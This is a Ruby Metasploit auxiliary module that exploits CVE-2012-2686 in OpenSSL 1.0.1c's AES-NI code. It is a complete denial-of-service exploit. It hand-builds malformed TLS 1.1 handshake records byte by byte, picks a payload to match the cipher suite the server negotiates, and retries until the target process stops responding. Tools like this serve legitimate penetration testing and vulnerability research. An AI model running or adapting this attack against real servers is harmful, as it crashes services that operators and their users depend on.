OpenSSL TLS 1.1 and 1.2 AES-NI DoS

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# auxiliary/dos/ssl/openssl_aesni
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'OpenSSL TLS 1.1 and 1.2 AES-NI DoS',
      'Description'	=> %q{
          The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the
        length of an encrypted message when used with a TLS version 1.1 or above. This
        leads to an integer underflow which can cause a DoS. The vulnerable function
        aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL.
        This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default
        OpenSSL 1.0.1c package.
      },
      'Author'	=>
        [
          'Wolfgang Ettlinger <wolfgang.ettlinger[at]gmail.com>'
        ],
      'License'		=> MSF_LICENSE,
      'References'	=>
        [
          [ 'CVE', '2012-2686'],
          [ 'URL', 'https://www.openssl.org/news/secadv/20130205.txt' ]
        ],
      'DisclosureDate' => '2013-02-05'))

    register_options(
      [
        Opt::RPORT(443),
        OptInt.new('MAX_TRIES', [true,  "Maximum number of tries", 300])
      ])
  end

  def run
    # Client Hello
    p1 =  "\x16"				# Content Type: Handshake
    p1 << "\x03\x01"				# Version: TLS 1.0
    p1 << "\x00\x7e"				# Length: 126
    p1 << "\x01"				# Handshake Type: Client Hello
    p1 << "\x00\x00\x7a"			# Length: 122
    p1 << "\x03\x02"				# Version: TLS 1.1
    p1 << ("A" * 32)				# Random
    p1 << "\x00"				# Session ID Length: 0
    p1 << "\x00\x08"				# Cypher Suites Length: 6
    p1 << "\xc0\x13"				# - ECDHE-RSA-AES128-SHA
    p1 << "\x00\x39"				# - DHE-RSA-AES256-SHA
    p1 << "\x00\x35"				# - AES256-SHA
    p1 << "\x00\xff"				# - EMPTY_RENEGOTIATION_INFO_SCSV
    p1 << "\x01"				# Compression Methods Length: 1
    p1 << "\x00"				# - NULL-Compression
    p1 << "\x00\x49"				# Extensions Length: 73
    p1 << "\x00\x0b"				# - Extension: ec_point_formats
    p1 << "\x00\x04"				#   Length: 4
    p1 << "\x03"				#   EC Points Format Length: 3
    p1 << "\x00"				#   - uncompressed
    p1 << "\x01"				#   - ansiX962_compressed_prime
    p1 << "\x02"				#   - ansiX962_compressed_char2
    p1 << "\x00\x0a"				# - Extension: elliptic_curves
    p1 << "\x00\x34"				#   Length: 52
    p1 << "\x00\x32"				#   Elliptic Curves Length: 50
    # 25 Elliptic curves:
    p1 << "\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a"
    p1 << "\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04"
    p1 << "\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10"
    p1 << "\x00\x11"

    p1 << "\x00\x23"				# - Extension: SessionTicket TLS
    p1 << "\x00\x00"				#   Length: 0
    p1 << "\x00\x0f"				# - Extension: Heartbeat
    p1 << "\x00\x01"				#   Length: 1
    p1 << "\x01"				#   Peer allowed to send requests


    # Change Cipher Spec Message
    p2_cssm =  "\x14"				# Content Type: Change Cipher Spec
    p2_cssm << "\x03\x02"			# Version: TLS 1.1
    p2_cssm << "\x00\x01"			# Length: 1
    p2_cssm << "\x01"				# Change Cipher Spec Message


    # Encrypted Handshake Message
    p2_ehm =  "\x16"				# Content Type: Handshake
    p2_ehm << "\x03\x02"			# Version: TLS 1.1
    p2_ehm << "\x00\x40"			# Length: 64
    p2_ehm << ("A" * 64)			# Encrypted Message


    # Client Key Exchange, Change Cipher Spec, Encrypted Handshake
    # AES256-SHA
    p2_aes_sha =  "\x16"			# Content Type: Handshake
    p2_aes_sha << "\x03\x02"			# Version: TLS 1.1
    p2_aes_sha << "\x01\x06"			# Length: 262
    p2_aes_sha << "\x10"			# Handshake Type: Client Key Exchange
    p2_aes_sha << "\x00\x01\x02"		# Length: 258
    p2_aes_sha << "\x01\x00"			# Encrypted PreMaster Length: 256
    p2_aes_sha << ("\x00" * 256)		# Encrypted PresMaster (irrelevant)
    p2_aes_sha << p2_cssm 			# Change Cipher Spec Message
    p2_aes_sha << p2_ehm			# Encrypted Handshake Message


    # DHE-RSA-AES256-SHA
    p2_dhe =  "\x16"				# Content Type: Handshake
    p2_dhe << "\x03\x02"			# Version: TLS 1.1
    p2_dhe << "\x00\x46"			# Length: 70
    p2_dhe << "\x10"				# Handshake Type: Client Key Exchange
    p2_dhe << "\x00\x00\x42"			# Length: 66
    p2_dhe << "\x00\x40"			# DH Pubkey Length: 64
    p2_dhe << ("A" * 64)			# DH Pubkey
    p2_dhe << p2_cssm				# Change Cipher Spec Message
    p2_dhe << p2_ehm				# Encrypted Handshake Message


    # ECDHE-RSA-AES128-SHA
    p2_ecdhe =  "\x16"				# Content Type: Handshake
    p2_ecdhe << "\x03\x02"			# Version: TLS 1.1
    p2_ecdhe << "\x00\x46"			# Length: 70
    p2_ecdhe << "\x10"				# Handshake Type: Client Key Exchange
    p2_ecdhe << "\x00\x00\x42"			# Length: 66
    p2_ecdhe << "\x41"				# EC DH Pubkey Length: 65
    # EC DH Pubkey:
    p2_ecdhe << "\x04\x2f\x22\xf4\x06\x3f\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8"
    p2_ecdhe << "\x03\xe5\xaa\x36\xeb\x0f\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69"
    p2_ecdhe << "\x5b\x38\x95\x58\xb6\x0d\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6"
    p2_ecdhe << "\xb2\xe6\x8b\x2a\xd9\x03\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73"
    p2_ecdhe << "\x40"
    p2_ecdhe << p2_cssm				# Change Cipher Spec Message
    p2_ecdhe << p2_ehm				# Encrypted Handshake Message


    maxtries = datastore['MAX_TRIES']

    success = false

    for i in 0..maxtries
      print_status("Try \##{i}")

      connect

      sock.put(p1)
      resp = sock.get_once

      cs = get_cipher_suite(resp)

      if cs == 0xc013 # ECDHE-RSA-AES128-SHA
        p2 = p2_ecdhe
      elsif cs == 0x0039 # DHE-RSA-AES256-SHA
        p2 = p2_dhe
      elsif cs == 0x0035 # AES256-SHA
        p2 = p2_aes_sha
      else
        print_error("No common ciphers!")
        return
      end

      sock.put(p2)

      alert = nil

      begin
        alert = sock.get_once(-1, 2)
      rescue EOFError
        print_good("DoS successful. process on #{rhost} did not respond.")
        success = true
        break
      end

      disconnect

    end

    if success == false
      print_error("DoS unsuccessful.")
    end
  end

  def get_cipher_suite(resp)
    offset = 0

    while offset < resp.length
      type = (resp[offset, 1]).unpack("C")[0]

      if not type == 22 # Handshake
        return nil
      end

      len = (resp[offset+3, 2]).unpack("n")[0]
      hstype = (resp[offset+5, 1]).unpack("C")[0]

      if hstype == 2 # Server Hello
        return (resp[offset+44, 2]).unpack("n")[0]
      end

      offset += len
    end

  end
end